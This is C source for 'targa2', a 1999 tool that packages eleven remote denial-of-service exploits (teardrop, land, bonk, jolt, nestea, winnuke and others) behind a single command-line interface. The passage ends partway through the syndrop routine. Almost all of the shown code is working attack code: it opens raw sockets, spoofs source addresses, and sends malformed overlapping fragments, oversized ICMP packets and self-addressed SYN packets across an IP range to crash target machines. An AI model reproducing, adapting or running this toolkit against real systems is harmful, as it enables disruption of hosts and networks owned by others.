/* targa2.c - copyright by Mixter <mixter@popmail.com>
   version 2.1 - released 22/3/99 - interface to 11
   multi-platform remote denial of service exploits

   gcc -Wall -O2 targa2.c -o targa2 ; strip targa2 */

/*
 *        featured exploits / authors / vulnerable platforms
 * bonk by route|daemon9 & klepto              - win95, nameservers
 * jolt by Jeff W. Roberson (overdrop: Mixter) - win95, klog (old linux)
 * land by m3lt                                - win95/nt, old un*x's
 * nestea by humble & ttol                     - older linux/bsd?
 * newtear by route|daemon9                    - linux/bsd/win95/others
 * syndrop by PineKoan                         - linux/win95/?
 * teardrop by route|daemon9                   - lots of os's
 * winnuke by _eci                             - win95/win31
 * 1234 by DarkShadow/Flu                      - win95/98/nt/others?
 * saihyousen by noc-wage                      - win98/firewalls/routers
 * oshare by r00t zer0                         - win9x/NT/macintosh
 */

/* http://members.xoom.com/i0wnu - code copyright by Mixter */

/* these are user definable */
#define LANDPORT 113    /* remote port for land's */
#define WNUKEPORT 139    /* port for winnukes */

#define LANDREP     15    /* repeat land attack x times */
#define JOLTREP     15    /* repeat jolt attack x times */
#define BONKREP     15    /* repeat bonk attack x times */
#define WNUKEREP     0    /* repeat winnuke x times */
#define COUNT       15    /* repeat frag attacks x times */
#define NESCOUNT    15    /* repeat nestea attack x times */
#define X1234COUNT  50    /* repeat 1234 attack x times */
#define SAICOUNT    50    /* repeat saihyousen attack x times */
#define OSHCOUNT    50    /* repeat oshare attack x times */

#define __FAVOR_BSD    /* for newer linux */
#define TH_SYN 0x02    /* for lame includes */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <getopt.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#define FIX(n)  htons(n)  /* define this to (n), if using BSD */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8    /* UDP header size */
#define IP_MF   0x2000    /* Fragmention offset */
#define MAGIC   0x3    /* Teardrop Magic fragmentation constant (tm) */
#define MAGIC2  108    /* Nestea Magic fragmentation constant (tm) */
#define NESPADDING 256    /* Padding for Nestea */
#define PADDING 0x14    /* Padding for other frag's */
#define TCPH    sizeof(struct tcphdr)  /* TCP header size (nestea) */
#define TPADDING 0x1c    /* Padding for original teardrop */

/* main() - user interface & some functions */

struct ipstuph
  {
    int p1;
    int p2;
    int p3;
    int p4;
  }
startip, endip;

void targa (u_char *);
u_long leet_resolve (u_char *);
u_short in_cksum (u_short *, int);
int hax0r (char *, int);
int targa_help (u_char *);
int bonk (char *);
int jolt (char *);
int land (char *);
int nestea (char *);
int newtear (char *);
int syndrop (char *);
int teardrop (char *);
int winnuke (char *, int);
int x1234 (char *);
int saihyousen (char *);
int oshare (char *);


int
main (int argc, char **argv)
{
  int count = 1, i, j, dostype = 0;
  char hit_ip[18], dst_ip2[18], dst_ip[4096];

  fprintf (stderr, "\t\ttarga 2.1 by Mixter\n");
  if ((argv[1] == "-help") || (argv[1] == "--help") || (argv[1] == "-h") || (argv[1] == "--h"))
    targa_help (argv[0]);
  if (argc < 3)
    if (argc < 2)
      targa (argv[0]);
  strncpy (dst_ip, argv[1], 4096);
  if (argc == 2)
    {
      strncpy (dst_ip2, argv[1], 18);
    }
  else
    {
      strncpy (dst_ip2, argv[2], 18);
    }
  if (sscanf (dst_ip, "%d.%d.%d.%d", &startip.p1, &startip.p2, &startip.p3, &startip.p4) != 4)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Error, %s: Please use a start IP containing 4 zones\n", argv[1]);
      exit (1);
    }
  if (startip.p1 > 255)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 1 of start ip is incorrect (greater than 255)\n");
      exit (1);
    }
  if (startip.p2 > 255)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 2 of start ip is incorrect (greater than 255)\n");
      exit (1);
    }
  if (startip.p3 > 255)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 3 of start ip is incorrect (greater than 255)\n");
      exit (1);
    }
  if (startip.p4 > 255)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 4 of start ip is incorret (greater than 255)\n");
      exit (1);
    }
  if (sscanf (dst_ip2, "%d.%d.%d.%d", &endip.p1, &endip.p2, &endip.p3, &endip.p4) != 4)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Error, %s: Please use an end IP containing 4 zones\n", argv[2]);
      exit (1);
    }
  if (endip.p1 > 255)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 1 of end ip is incorrect (greater than 255)\n");
      exit (1);
    }
  if (endip.p2 > 255)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 2 of end ip is incorrect (greater than 255)\n");
      exit (1);
    }
  if (endip.p3 > 255)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 3 of end ip is incorrect (greater than 255)\n");
      exit (1);
    }
  if (endip.p4 > 255)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 4 of end ip is incorrect (greater than 255)\n");
      exit (1);
    }
  if (startip.p1 != endip.p1)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 1 of start ip and end ip is different\n");
      exit (1);
    }
  if (startip.p2 != endip.p2)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 2 of start ip and end ip is different\n");
      exit (1);
    }
  if (startip.p3 != endip.p3)
    {
      targa_help (argv[0]);
      fprintf (stderr, "Zone 3 of start ip and end ip is different\n");
      exit (1);
    }
  while ((i = getopt (argc, argv, "t:n:h")) != EOF)
    {
      switch (i)
  {
  case 't':
    dostype = atoi (optarg);  /* type of DOS */
    break;
  case 'n':    /* number to send */
    count = atoi (optarg);
    break;
  case 'h':    /* quiet mode */
    targa_help (argv[0]);
    break;
  default:
    targa (argv[0]);
    break;    /* NOTREACHED */
  }
    }
  srandom ((unsigned) (time ((time_t) 0)));
  srand (time (NULL));
  fprintf (stderr, "Leetness on flaxen wings:\n");
  fprintf (stderr, "To: %s - %s\n", dst_ip, dst_ip2);
  fprintf (stderr, "Repeats: %5d\n", count);
  fprintf (stderr, "   Type: %5d\n", dostype);

  for (j = startip.p4; j <= endip.p4; j++)
    {
      sprintf (hit_ip, "%d.%d.%d.%d", startip.p1, startip.p2, startip.p3, j);
      fprintf (stderr, "%s [ ", hit_ip);
      for (i = 0; i < count; i++)
  {
    hax0r (hit_ip, dostype);
    usleep (10);
  }
      fprintf (stderr, " ]\n");
    }
  fprintf (stderr, "\t-all done-\n");
  return (0);
}
int
hax0r (char *vm, int te)
{
  int counter;
/* beginning of hardcoded ereetness :P */
  if (te == 1 || te == 0)
    bonk (vm);
  if (te == 2 || te == 0)
    jolt (vm);
  if (te == 3 || te == 0)
    land (vm);
  if (te == 4 || te == 0)
    nestea (vm);
  if (te == 5 || te == 0)
    newtear (vm);
  if (te == 6 || te == 0)
    syndrop (vm);
  if (te == 7 || te == 0)
    teardrop (vm);
  if (te == 8 || te == 0)
    {
      if ((!WNUKEREP) && (te == 8))
  winnuke (vm, 10);
      winnuke (vm, WNUKEREP);
    }
  if (te == 9 || te == 0)
    {
      for (counter = 0; counter <= X1234COUNT; counter++)
  x1234 (vm);
    }
  if (te == 10 || te == 0)
    {
      for (counter = 0; counter <= SAICOUNT; counter++)
  saihyousen (vm);
    }
  if (te == 11 || te == 0)
    {
      for (counter = 0; counter <= OSHCOUNT; counter++)
  oshare (vm);
    }
  return (31337);
}
u_long
leet_resolve (u_char * host_name)
{
  struct in_addr addr;
  struct hostent *host_ent;

  if ((addr.s_addr = inet_addr (host_name)) == -1)
    {
      if (!(host_ent = gethostbyname (host_name)))
  return (0);
      bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
    }
  return (addr.s_addr);
}
void
targa (u_char * name)
{
  fprintf (stderr, "usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
  exit (0);
}
int
targa_help (u_char * name)
{
  fprintf (stderr, "usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
  fprintf (stderr, "startIP - endIP: IP range to send packets to (destination)\n");
  fprintf (stderr, "start and end must be on the same C class (1.1.1.X)\n");
  fprintf (stderr, "repeats: repeat the whole cycle n times (default is 1)\n");
  fprintf (stderr, "type: kind of remote DoS to send (default is 0)\n");
  fprintf (stderr, "1 = bonk ($)  2 = jolt (@)  3 = land (-)\n");
  fprintf (stderr, "4 = nestea (.)  5 = newtear (#)\n");
  fprintf (stderr, "6 = syndrop (&)  7 = teardrop (%%)  8 = winnuke (*)\n");
  fprintf (stderr, "9 = 1234 (!)  10 = saihyousen (+)  11 = oshare (|)\n");
  fprintf (stderr, "0 = use all remote DoS types at once\n");
  exit (0);
}

u_short
in_cksum (u_short * addr, int len)
{
  int nleft = len, sum = 0;
  u_short *w = addr, answer = 0;
  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

/* bonk(destination) */

struct udp_pkt
{
  struct iphdr ip;
  struct udphdr udp;
  char data[0x1c];
}
pkt;

int udplen = sizeof (struct udphdr), iplen = sizeof (struct iphdr), datalen = 100,
  psize = sizeof (struct udphdr) + sizeof (struct iphdr) + 0x1c, spf_sck;  /* Socket */

u_long
host_to_ip (char *host_name)
{
  static u_long ip_bytes;
  struct hostent *res;
  res = gethostbyname (host_name);
  if (res == NULL)
    return (0);
  memcpy (&ip_bytes, res->h_addr, res->h_length);
  return (ip_bytes);
}

void
quit (char *reason)
{
  perror (reason);
  close (spf_sck);
  exit (-1);
}

int
fondle (int sck, u_long src_addr, u_long dst_addr, int src_prt,
  int dst_prt)
{
  int bs;
  struct sockaddr_in to;

  memset (&pkt, 0, psize);
  /* Fill in ip header */
  pkt.ip.version = 4;
  pkt.ip.ihl = 5;
  pkt.ip.tot_len = htons (udplen + iplen + 0x1c);
  pkt.ip.id = htons (0x455);
  pkt.ip.ttl = 255;
  pkt.ip.protocol = IPPROTO_UDP;
  pkt.ip.saddr = src_addr;
  pkt.ip.daddr = dst_addr;
  pkt.ip.frag_off = htons (0x2000);  /* more to come */

  pkt.udp.source = htons (src_prt);  /* udp header */
  pkt.udp.dest = htons (dst_prt);
  pkt.udp.len = htons (8 + 0x1c);
  /* send 1st frag */

  to.sin_family = AF_INET;
  to.sin_port = src_prt;
  to.sin_addr.s_addr = dst_addr;

  bs = sendto (sck, &pkt, psize, 0, (struct sockaddr *) &to,
         sizeof (struct sockaddr));

  pkt.ip.frag_off = htons (0x3 + 1);  /* shinanigan */
  pkt.ip.tot_len = htons (iplen + 0x3);
  /* 2nd frag */

  bs = sendto (sck, &pkt, iplen + 0x3 + 1, 0,
         (struct sockaddr *) &to, sizeof (struct sockaddr));

  return bs;
}

int
bonk (char *bonk_host)
{
  int i, src_prt = 53, dst_prt = 53, bs = 1, pkt_count = BONKREP;
  u_long dst_addr = host_to_ip (bonk_host);
  if (!dst_addr)
    quit ("bad target host");
  spf_sck = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (!spf_sck)
    quit ("socket()");
  if (setsockopt (spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
      sizeof (bs)) < 0)
    quit ("IP_HDRINCL");
  for (i = 0; i < pkt_count; ++i)
    {
      fondle (spf_sck, rand (), dst_addr, src_prt, dst_prt);
      fprintf (stderr, "$");
      usleep (1000);
    }
  close (spf_sck);
  return 0;
}

/* jolt(destination) */

int
jolt (char *jolt_host)
{
  int s, i;
  char buf[400];
  struct ip *ip = (struct ip *) buf;
  struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
  struct hostent *hp;
  struct sockaddr_in dst;
  int offset, on = 1, num = JOLTREP;

  bzero (buf, sizeof buf);

  if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      perror ("socket");
      exit (1);
    }
  if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
    {
      perror ("IP_HDRINCL");
      exit (1);
    }
  for (i = 1; i <= num; i++)
    {

      if ((hp = gethostbyname (jolt_host)) == NULL)
  {
    if ((ip->ip_dst.s_addr = inet_addr (jolt_host)) == -1)
      {
        fprintf (stderr, "%s: unknown host\n", jolt_host);
        exit (1);
      }
  }
      else
  {
    bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  }

      ip->ip_src.s_addr = rand ();
      fprintf (stderr, "@");
      inet_ntoa (ip->ip_dst);
      ip->ip_v = 4;
      ip->ip_hl = sizeof *ip >> 2;
      ip->ip_tos = 0;
      ip->ip_len = htons (sizeof buf);
      ip->ip_id = htons (4321);
      ip->ip_off = htons (0);
      ip->ip_ttl = 255;
      ip->ip_p = 1;

      dst.sin_addr = ip->ip_dst;
      dst.sin_family = AF_INET;

      icmp->type = ICMP_ECHO;
      icmp->code = 0;
      icmp->checksum = htons (~(ICMP_ECHO << 8));
      for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
  {
    ip->ip_off = htons (offset >> 3);
    if (offset < 65120)
      ip->ip_off |= htons (0x2000);
    else
      ip->ip_len = htons (418);  /* make total 65538 */
    if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
          sizeof dst) < 0)
      {
        fprintf (stderr, "offset %d: ", offset);
        perror ("sendto");
      }
    if (offset == 0)
      {
        icmp->type = 0;
        icmp->code = 0;
        icmp->checksum = 0;
      }
  }
    }
  close (s);
  return 0;
}

/* land(destination,port) */

typedef u_long tcp_seq;
struct tcxhdr
  {
    u_short th_sport;
    u_short th_dport;
    tcp_seq th_seq;
    tcp_seq th_ack;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_char th_x2:4, th_off:4;
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
    u_char th_off:4, th_x2:4;
#endif
    u_char th_flags;
    u_short th_win;
    u_short th_sum;
    u_short th_urp;
  };

struct pseudohdr
  {
    struct in_addr saddr;
    struct in_addr daddr;
    u_char zero;
    u_char protocol;
    u_short length;
    struct tcxhdr tcpheader;
  };

u_short
checksum (u_short * data, u_short length)
{
  register long value = 0;
  u_short i;

  for (i = 0; i < (length >> 1); i++)
    value += data[i];

  if ((length & 1) == 1)
    value += (data[i] << 8);

  value = (value & 65535) + (value >> 16);

  return (~value);
}

int
land (char *land_host)
{
  struct sockaddr_in sin;
  struct hostent *hoste;
  int sock, i;
  char buffer[40];
  struct iphdr *ipheader = (struct iphdr *) buffer;
  struct tcxhdr *tcpheader = (struct tcxhdr *) (buffer + sizeof (struct iphdr));
  struct pseudohdr pseudoheader;
  static int land_port = LANDPORT;
  bzero (&sin, sizeof (struct sockaddr_in));
  sin.sin_family = AF_INET;

  if ((hoste = gethostbyname (land_host)) != NULL)
    bcopy (hoste->h_addr, &sin.sin_addr, hoste->h_length);
  else if ((sin.sin_addr.s_addr = inet_addr (land_host)) == -1)
    {
      fprintf (stderr, "unknown host %s\n", land_host);
      return (-1);
    }

  if ((sin.sin_port = htons (land_port)) == 0)
    return (-1);
  if ((sock = socket (AF_INET, SOCK_RAW, 255)) == -1)
    return (-1);

  bzero (&buffer, sizeof (struct iphdr) + sizeof (struct tcxhdr));
  ipheader->version = 4;
  ipheader->ihl = sizeof (struct iphdr) / 4;
  ipheader->tot_len = htons (sizeof (struct iphdr) + sizeof (struct tcxhdr));
  ipheader->id = htons (0xF1C);
  ipheader->ttl = 255;
  ipheader->protocol = IPPROTO_TCP;
  ipheader->saddr = sin.sin_addr.s_addr;
  ipheader->daddr = sin.sin_addr.s_addr;

  tcpheader->th_sport = sin.sin_port;
  tcpheader->th_dport = sin.sin_port;
  tcpheader->th_seq = htonl (0xF1C);
  tcpheader->th_flags = TH_SYN;
  tcpheader->th_off = sizeof (struct tcxhdr) / 4;
  tcpheader->th_win = htons (2048);

  bzero (&pseudoheader, 12 + sizeof (struct tcxhdr));
  pseudoheader.saddr.s_addr = sin.sin_addr.s_addr;
  pseudoheader.daddr.s_addr = sin.sin_addr.s_addr;
  pseudoheader.protocol = 6;
  pseudoheader.length = htons (sizeof (struct tcxhdr));
  bcopy ((char *) tcpheader, (char *) &pseudoheader.tcpheader, sizeof (struct tcxhdr));
  tcpheader->th_sum = checksum ((u_short *) & pseudoheader, 12 + sizeof (struct tcxhdr));
  for (i = 0; i < LANDREP; i++)
    {
      if (sendto (sock, buffer, sizeof (struct iphdr) + sizeof (struct tcxhdr), 0, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) == -1)
  {
    fprintf (stderr, "couldn't send packet\n");
    return (-1);
  }
      fprintf (stderr, "-");
    }
  close (sock);
  return (0);
}

/* nestea(source, destination) */

u_long name_resolve (u_char *);
void send_nes (int, u_long, u_long, u_short, u_short);

int
nestea (char *nes_host)
{
  int one = 1, count = 0, i, rip_sock;
  u_long src_ip = 0, dst_ip = 0;
  u_short src_prt = 0, dst_prt = 0;
  struct in_addr addr;

  if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      perror ("raw socket");
      exit (1);
    }
  if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
      < 0)
    {
      perror ("IP_HDRINCL");
      exit (1);
    }
  if (!(dst_ip = name_resolve (nes_host)))
    {
      fprintf (stderr, "What the hell kind of IP address is that?\n");
      exit (1);
    }
  src_ip = rand ();
  srandom ((unsigned) (time ((time_t) 0)));
  src_prt = (random () % 0xffff);
  dst_prt = (random () % 0xffff);
  count = NESCOUNT;

  addr.s_addr = src_ip;
  addr.s_addr = dst_ip;
  for (i = 0; i < count; i++)
    {
      send_nes (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
      fprintf (stderr, ".");
      usleep (500);
    }
  close (rip_sock);
  return (0);
}

void
send_nes (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
    u_short dst_prt)
{
  int i;
  u_char *packet = NULL, *p_ptr = NULL;    /* packet pointers */
  u_char byte;      /* a byte */
  struct sockaddr_in sin;  /* socket protocol structure */

  sin.sin_family = AF_INET;
  sin.sin_port = src_prt;
  sin.sin_addr.s_addr = dst_ip;

  packet = (u_char *) malloc (IPH + UDPH + NESPADDING + 40);
  p_ptr = packet;
  bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);

  byte = 0x45;      /* IP version and header length */
  memcpy (p_ptr, &byte, sizeof (u_char));
  p_ptr += 2;      /* IP TOS (skipped) */
  *((u_short *) p_ptr) = FIX (IPH + UDPH + 10);    /* total length */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (242);  /* IP id */
  p_ptr += 2;
  *((u_short *) p_ptr) |= FIX (IP_MF);  /* IP frag flags and offset */
  p_ptr += 2;
  *((u_short *) p_ptr) = 0x40;  /* IP TTL */
  byte = IPPROTO_UDP;
  memcpy (p_ptr + 1, &byte, sizeof (u_char));
  p_ptr += 4;      /* IP checksum filled in by kernel */
  *((u_long *) p_ptr) = src_ip;  /* IP source address */
  p_ptr += 4;
  *((u_long *) p_ptr) = dst_ip;  /* IP destination address */
  p_ptr += 4;
  *((u_short *) p_ptr) = htons (src_prt);  /* UDP source port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (dst_prt);  /* UDP destination port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (8 + 10);  /* UDP total length */

  if (sendto (sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *) &sin,
        sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }

  p_ptr = packet;
  bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);

  byte = 0x45;      /* IP version and header length */
  memcpy (p_ptr, &byte, sizeof (u_char));
  p_ptr += 2;      /* IP TOS (skipped) */
  *((u_short *) p_ptr) = FIX (IPH + UDPH + MAGIC2);  /* total length */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (242);  /* IP id */
  p_ptr += 2;
  *((u_short *) p_ptr) = FIX (6);  /* IP frag flags and offset */
  p_ptr += 2;
  *((u_short *) p_ptr) = 0x40;  /* IP TTL */
  byte = IPPROTO_UDP;
  memcpy (p_ptr + 1, &byte, sizeof (u_char));
  p_ptr += 4;      /* IP checksum filled in by kernel */
  *((u_long *) p_ptr) = src_ip;  /* IP source address */
  p_ptr += 4;
  *((u_long *) p_ptr) = dst_ip;  /* IP destination address */
  p_ptr += 4;
  *((u_short *) p_ptr) = htons (src_prt);  /* UDP source port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (dst_prt);  /* UDP destination port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (8 + MAGIC2);  /* UDP total length */

  if (sendto (sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *) &sin,
        sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }

  p_ptr = packet;
  bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING + 40);
  byte = 0x4F;      /* IP version and header length */
  memcpy (p_ptr, &byte, sizeof (u_char));
  p_ptr += 2;      /* IP TOS (skipped) */
  *((u_short *) p_ptr) = FIX (IPH + UDPH + NESPADDING + 40);
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (242);  /* IP id */
  p_ptr += 2;
  *((u_short *) p_ptr) = 0 | FIX (IP_MF);  /* IP frag flags and offset */
  p_ptr += 2;
  *((u_short *) p_ptr) = 0x40;  /* IP TTL */
  byte = IPPROTO_UDP;
  memcpy (p_ptr + 1, &byte, sizeof (u_char));
  p_ptr += 4;      /* IP checksum filled in by kernel */
  *((u_long *) p_ptr) = src_ip;  /* IP source address */
  p_ptr += 4;
  *((u_long *) p_ptr) = dst_ip;  /* IP destination address */
  p_ptr += 44;
  *((u_short *) p_ptr) = htons (src_prt);  /* UDP source port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (dst_prt);  /* UDP destination port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (8 + NESPADDING);  /* UDP total length */

  for (i = 0; i < NESPADDING; i++)
    {
      p_ptr[i++] = random () % 255;
    }

  if (sendto (sock, packet, IPH + UDPH + NESPADDING, 0, (struct sockaddr *) &sin,
        sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }
  free (packet);
}

u_long
name_resolve (u_char * host_name)
{
  struct in_addr addr;
  struct hostent *host_ent;

  if ((addr.s_addr = inet_addr (host_name)) == -1)
    {
      if (!(host_ent = gethostbyname (host_name)))
  return (0);
      bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
    }
  return (addr.s_addr);
}

/* newtear(destination) */

void newt_frags (int, u_long, u_long, u_short, u_short);

int
newtear (char *newt_host)
{
  int one = 1, count = 0, i, rip_sock;
  u_long src_ip = 0, dst_ip = 0;
  u_short src_prt = 0, dst_prt = 0;
  struct in_addr addr;

  if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      perror ("raw socket");
      exit (1);
    }
  if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
      < 0)
    {
      perror ("IP_HDRINCL");
      exit (1);
    }
  if (!(dst_ip = name_resolve (newt_host)))
    {
      fprintf (stderr, "What the hell kind of IP address is that?\n");
      exit (1);
    }
  src_ip = rand ();
  srandom ((unsigned) (time ((time_t) 0)));
  src_prt = (random () % 0xffff);
  dst_prt = (random () % 0xffff);
  count = COUNT;

  addr.s_addr = src_ip;
  addr.s_addr = dst_ip;

  for (i = 0; i < count; i++)
    {
      newt_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
      fprintf (stderr, "#");
      usleep (500);
    }
  close (rip_sock);
  return (0);
}

/*
 *  Send two IP fragments with pathological offsets.  We use an implementation
 *  independent way of assembling network packets that does not rely on any of
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
 */

void
newt_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
      u_short dst_prt)
{
  u_char *packet = NULL, *p_ptr = NULL;    /* packet pointers */
  u_char byte;      /* a byte */
  struct sockaddr_in sin;  /* socket protocol structure */

  sin.sin_family = AF_INET;
  sin.sin_port = src_prt;
  sin.sin_addr.s_addr = dst_ip;

  /*
   * Grab some memory for our packet, align p_ptr to point at the beginning
   * of our packet, and then fill it with zeros.
   */
  packet = (u_char *) malloc (IPH + UDPH + PADDING);
  p_ptr = packet;
  bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);  // Set it all to zero

  byte = 0x45;      /* IP version and header length */
  memcpy (p_ptr, &byte, sizeof (u_char));
  p_ptr += 2;      /* IP TOS (skipped) */
  *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);  /* total length */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (242);  /* IP id */
  p_ptr += 2;
  *((u_short *) p_ptr) |= FIX (IP_MF);  /* IP frag flags and offset */
  p_ptr += 2;
  *((u_short *) p_ptr) = 0x40;  /* IP TTL */
  byte = IPPROTO_UDP;
  memcpy (p_ptr + 1, &byte, sizeof (u_char));
  p_ptr += 4;      /* IP checksum filled in by kernel */
  *((u_long *) p_ptr) = src_ip;  /* IP source address */
  p_ptr += 4;
  *((u_long *) p_ptr) = dst_ip;  /* IP destination address */
  p_ptr += 4;
  *((u_short *) p_ptr) = htons (src_prt);  /* UDP source port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (dst_prt);  /* UDP destination port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (8 + PADDING * 2);  /* UDP total length *//* Increases UDP total length to 48 bytes
                 Which is too big! */

  if (sendto (sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *) &sin,
        sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }

  /*  We set the fragment offset to be inside of the previous packet's
   *  payload (it overlaps inside the previous packet) but do not include
   *  enough payload to cover complete the datagram.  Just the header will
   *  do, but to crash NT/95 machines, a bit larger of packet seems to work
   *  better.
   */
  p_ptr = &packet[2];    /* IP total length is 2 bytes into the header */
  *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  p_ptr += 4;      /* IP offset is 6 bytes into the header */
  *((u_short *) p_ptr) = FIX (MAGIC);

  if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
        sizeof (struct sockaddr)) == -1)
    {
      perror ("\nsendto");
      free (packet);
      exit (1);
    }
  free (packet);
}

/* syndrop(destination) */

u_long name_resolve (u_char *);
void send_synd (int, u_long, u_long, u_short, u_short, u_long, u_long);

int
syndrop (char *synd_host)
{
  int one = 1, count = 0, i, rip_sock;
  u_long src_ip = 0, dst_ip = 0;
  u_short src_prt = 0, dst_prt = 0;
  u_long s_start = 0, s_end = 0;
  struct in_addr addr;
  if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      perror ("raw socket");
      exit (1);
    }
  if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
    {
      perror ("IP_HDRINCL");
      exit (1);
    }
  if (!(dst_ip = name_resolve (synd_host)))
    {
      fprintf (stderr, "What the hell kind of IP address is that?\n");
      exit (1);
    }
  src_ip = rand ();
  srandom ((unsigned) (time ((time_t) 0)));
  src_prt = (random () % 0xffff);
  dst_prt = (random () % 0xffff);
  count = COUNT;

  addr.s_addr = src_ip;
  addr.s_addr = dst_ip;
  for (i = 0; i < count; i++)
    {
      send_synd (rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end);
      fprintf (stderr, "&");
      usleep (500);
    }
  close (rip_sock);
  return (0);
}

/*
 *  Send two IP fragments with pathological offsets.  We use an implementation
 *  independent way of assembling network packets that does not rely on any of
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
 */

void
send_synd (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2)
{
  u_char *packet = NULL, *p_ptr = NULL;    /* packet pointers */
  u_char byte;      /* a byte */
  struct sockaddr_in sin;  /* socket protocol structure */

  sin.sin_family = AF_INET;
  sin.sin_port = src_prt;
  sin.sin_addr.s_addr = dst_ip;

  /*
   * Grab some memory for our packet, align p_ptr to point at the beginning
   * of our packet, and then fill it with zeros.
   */
  packet = (u_char *) malloc (IPH + UDPH + PADDING);
  p_ptr = packet;
  bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);  /* Set it all to zero */

  byte = 0x45;      /* IP version and header length */
  memcpy (p_ptr, &byte, sizeof (u_char));
  p_ptr += 2;      /* IP TOS (skipped) */
  *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);  /* total length */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (242);  /* IP id */
  p_ptr += 2;
  *((u_short *) p_ptr) |= FIX (IP_MF);  /* IP frag flags and offset */
  p_ptr += 2;
  *((u_short *) p_ptr) = 0x40;  /* IP TTL */
  byte = IPPROTO_TCP;
  memcpy (p_ptr + 1, &byte, sizeof (u_char));
  p_ptr += 4;      /* IP checksum filled in by kernel */
  *((u_long *) p_ptr) = src_ip;  /* IP source address */
  p_ptr += 4;
  *((u_long *) p_ptr) = dst_ip;  /* IP destination address */
  p_ptr += 4;
  *((u_short *) p_ptr) = htons (src_prt);  /* TCP source port */
  p_ptr += 2;
  *((u_short *) p_ptr) = htons (dst_prt);  /* TCP destination port */
  p_ptr += 2;
  *((u_long *) p_ptr) = seq1;  /* TCP sequence # */
